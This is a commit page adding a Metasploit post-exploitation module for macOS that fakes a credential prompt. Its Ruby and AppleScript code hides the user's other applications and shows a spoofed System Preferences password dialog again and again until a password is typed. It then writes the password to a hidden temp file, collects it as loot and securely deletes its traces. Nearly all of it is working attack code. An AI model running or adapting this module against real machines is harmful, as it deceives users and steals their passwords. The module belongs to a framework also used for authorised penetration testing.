Skip to content

Commit 52fa000

Browse files
yoda66jvennix-r7
authored andcommitted
Get password_prompt_spoof module working. [RM rapid7#5940]
1 parent fdd5775 commit 52fa000

File tree

1 file changed

+189
-0
lines changed

1 file changed

+189
-0
lines changed
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
require 'msf/core'
2+
require 'rex'
3+
require 'msf/core/post/common'
4+
require 'msf/core/post/file'
5+
6+
class Metasploit3 < Msf::Post
7+
include Msf::Post::Common
8+
include Msf::Post::File
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info={})
12+
super( update_info( info,
13+
'Name' => 'Prompt the MAC-OSX user for password credentials.',
14+
'Description' => %q{ },
15+
'License' => MSF_LICENSE,
16+
'Author' => [ 'Joff Thyer <jsthyer at gmail.com>',
17+
'joev <jvennix[at]rapid7.com>' ],
18+
'Version' => '',
19+
'Platform' => [ 'osx' ],
20+
'SessionTypes' => [ "shell" ]
21+
))
22+
23+
register_options( [
24+
OptString.new(
25+
'TEXTCREDS',
26+
[
27+
true,
28+
'Text displayed when asking for password',
29+
'Type your password to allow System Preferences to make changes'
30+
]
31+
),
32+
OptString.new(
33+
'ICONFILE',
34+
[
35+
true,
36+
'Icon filename relative to bundle',
37+
'UserUnknownIcon.icns'
38+
]
39+
),
40+
OptString.new(
41+
'BUNDLEPATH',
42+
[
43+
true,
44+
'Path to bundle containing icon',
45+
'/System/Library/CoreServices/CoreTypes.bundle'
46+
]
47+
),
48+
OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])
49+
], self.class)
50+
end
51+
52+
def cmd_exec(str)
53+
print_status "Running cmd '#{str}'..."
54+
super
55+
end
56+
57+
# Run Method for when run command is issued
58+
def run
59+
if client.nil?
60+
print_error("Invalid session ID selected. Make sure the host isn't dead.")
61+
return
62+
end
63+
64+
host = case session.type
65+
when /meterpreter/
66+
sysinfo["Computer"]
67+
when /shell/
68+
cmd_exec("/bin/hostname").chomp
69+
end
70+
71+
print_status("Running module against #{host}")
72+
73+
dir = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6))
74+
runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
75+
creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
76+
creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
77+
passfile = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
78+
79+
username = cmd_exec("/usr/bin/whoami")
80+
cmd_exec("umask 0077")
81+
cmd_exec("/bin/mkdir #{dir}")
82+
83+
# write the script that will launch things
84+
write_file(runme,run_script())
85+
cmd_exec("/bin/chmod 700 #{runme}")
86+
87+
# write the credentials script, compile and run
88+
write_file(creds_osa,creds_script(passfile))
89+
cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}")
90+
cmd_exec("#{runme} #{creds}")
91+
print_status("Waiting for user '#{username}' to enter credentials...")
92+
93+
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
94+
while (::Time.now.to_f < timeout)
95+
fileexist = cmd_exec("ls #{passfile}")
96+
if fileexist !~ /No such file/
97+
print_status("Password entered! What a nice compliant user...")
98+
break
99+
end
100+
Kernel.select(nil, nil, nil, 0.5)
101+
end
102+
103+
if fileexist !~ /No such file/
104+
password_data = cmd_exec("/bin/cat #{passfile}")
105+
print_status("password file contents: #{password_data}")
106+
passf = store_loot("password", "text/plain",
107+
session, password_data, "passwd.pwd", "OSX Password")
108+
print_status("Password data stored as loot in: #{passf}")
109+
else
110+
print_status("Timeout period expired before credentials were entered!")
111+
end
112+
113+
print_status("Cleaning up files in #{host}:#{dir}")
114+
cmd_exec("/usr/bin/srm -rf #{dir}")
115+
end
116+
117+
118+
def run_script(wait=false)
119+
ch = if wait == false then "&" else "" end
120+
%Q{
121+
#!/bin/bash
122+
osascript <<_EOF_ #{ch}
123+
set scriptfile to "$1"
124+
tell application "AppleScript Runner"
125+
do script scriptfile
126+
end tell
127+
_EOF_
128+
}
129+
end
130+
131+
132+
def creds_script(passfile)
133+
textcreds = datastore['TEXTCREDS']
134+
ascript = %Q{
135+
set filename to "#{passfile}"
136+
set myprompt to "#{textcreds}"
137+
set ans to "Cancel"
138+
repeat
139+
try
140+
tell application "Finder"
141+
activate
142+
tell application "System Events" to keystroke "h" using {command down, option down}
143+
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
144+
set ans to button returned of d_returns
145+
set mypass to text returned of d_returns
146+
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
147+
end tell
148+
end try
149+
end repeat
150+
try
151+
set now to do shell script "date '+%Y%m%d_%H%M%S'"
152+
set user to do shell script "whoami"
153+
set myfile to open for access filename with write permission
154+
set outstr to now & ":" & user & ":" & mypass & "
155+
"
156+
write outstr to myfile starting at eof
157+
close access myfile
158+
on error
159+
try
160+
close access myfile
161+
end try
162+
end try
163+
}
164+
end
165+
166+
# Checks if the target is OSX Server
167+
def check_server
168+
# Get the OS Name
169+
osx_ver = case session.type
170+
when /meterpreter/
171+
cmd_exec("/usr/bin/sw_vers", "-productName").chomp
172+
when /shell/
173+
session.shell_command_token("/usr/bin/sw_vers -productName").chomp
174+
end
175+
176+
osx_ver =~ /Server/
177+
end
178+
179+
# Enumerate the OS Version
180+
def get_ver
181+
# Get the OS Version
182+
case session.type
183+
when /meterpreter/
184+
cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
185+
when /shell/
186+
session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp
187+
end
188+
end
189+
end

0 commit comments

Comments
 (0)